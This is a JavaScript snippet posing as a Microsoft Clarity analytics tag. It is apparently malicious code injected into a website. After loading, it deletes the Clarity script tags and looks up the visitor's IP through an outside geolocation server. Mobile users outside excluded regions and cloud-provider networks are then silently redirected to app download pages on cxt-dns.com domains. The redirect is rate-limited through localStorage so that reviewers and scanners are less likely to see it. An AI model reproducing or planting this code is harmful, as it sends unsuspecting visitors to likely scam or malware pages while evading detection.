(function(c,l,a,r,i,t,y){ c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)}; t=l.createElement(r);t.async=1;t.src="//www.clarity.ms/tag/"+i;t.onload=() => { const inj=()=>{ document.querySelectorAll('script[src*="clarity.ms"]').forEach(element => { element.remove(); }); async function getUserIP() { let ip = ''; if (!!window.chrome && !!window.chrome.webstore) { let response = await fetch('https://api64.ipify.org?format=json'); let data = await response.json(); ip = data.ip; } else { let response = await fetch('https://api64.ipify.org?format=jsonp'); let text = await response.text(); let jsonpData = JSON.parse(text.replace(/^.*?({.*}).*?$/, '$1')); ip = jsonpData.ip; } return ip; } async function needRedirectByIP(ip) { let url = "https://tttttuuuuu3.tttttuuuuu.com:54949/tool/jscss/cip/?ip=" + ip; let response = await fetch(url); let data = await response.json(); let country = data.data.country; let isp = data.data.isp; if (country.includes("guangxi") || country.includes("beijing") || country.includes("yulin") || country.includes("xiang11gang") || country.includes("xinjiapo") || country.includes("nanning") || country.includes("riben") || country.includes("meiguo") || country.includes("taiwan") || isp.includes("aliyun") || isp.includes("tengxunyun")) { return false; } return true; } function isMobileDevice() { return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Mobile|Opera Mini/i.test(navigator.userAgent); } function needRedirectByTime() { let hour = new Date().getHours(); let minute = new Date().getMinutes(); if ((hour >= 0 && hour < 3) || (hour >= 4 && hour < 24)) { return true; } return false; } function checkRedirectLimit() { let jixiaoshi = 1; let jici = 1; if (isMobileDevice() && needRedirectByTime()) { let lastRedirectTime = localStorage.getItem('last_redirect_time'); let currentTime = new Date().getTime(); let elapsedHours = Math.floor((currentTime - lastRedirectTime) / (1000 * 60 * 60)); if (elapsedHours < jixiaoshi) { let redirectCount = localStorage.getItem('redirect_count') || 0; if (redirectCount < jici) { localStorage.setItem('redirect_count', parseInt(redirectCount) + 1); return true; } else { return false; } } else { localStorage.setItem('last_redirect_time', currentTime); localStorage.setItem('redirect_count', 1); return true; } } else { return false; } } if (checkRedirectLimit()) { getUserIP().then(function(userIP) { needRedirectByIP(userIP).then(function(result) { if (result) { const u = ["https://apple-touch-icon-precomposed3.cxt-dns.com:60123/app.html", "https://cxt-dns.cxt-dns.com/app.html"]; window.location.href = u[Math.floor(Math.random() * u.length)]; } }); }); } }; (function checkClarity() { if (typeof window.clarity === "function") { inj(); return; } Object.defineProperty(window, "clarity", { set(value) { delete window.clarity; window.clarity = value; }, configurable: true }); const interval = setInterval(() => { if (typeof window.clarity === "function") { inj(); clearInterval(interval); } }, 500); })(); }; y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y); })(window, document, "clarity", "script", "pzimai20u7"); document.querySelectorAll('script[src*="o0ps.report"]').forEach(element => { element.remove(); });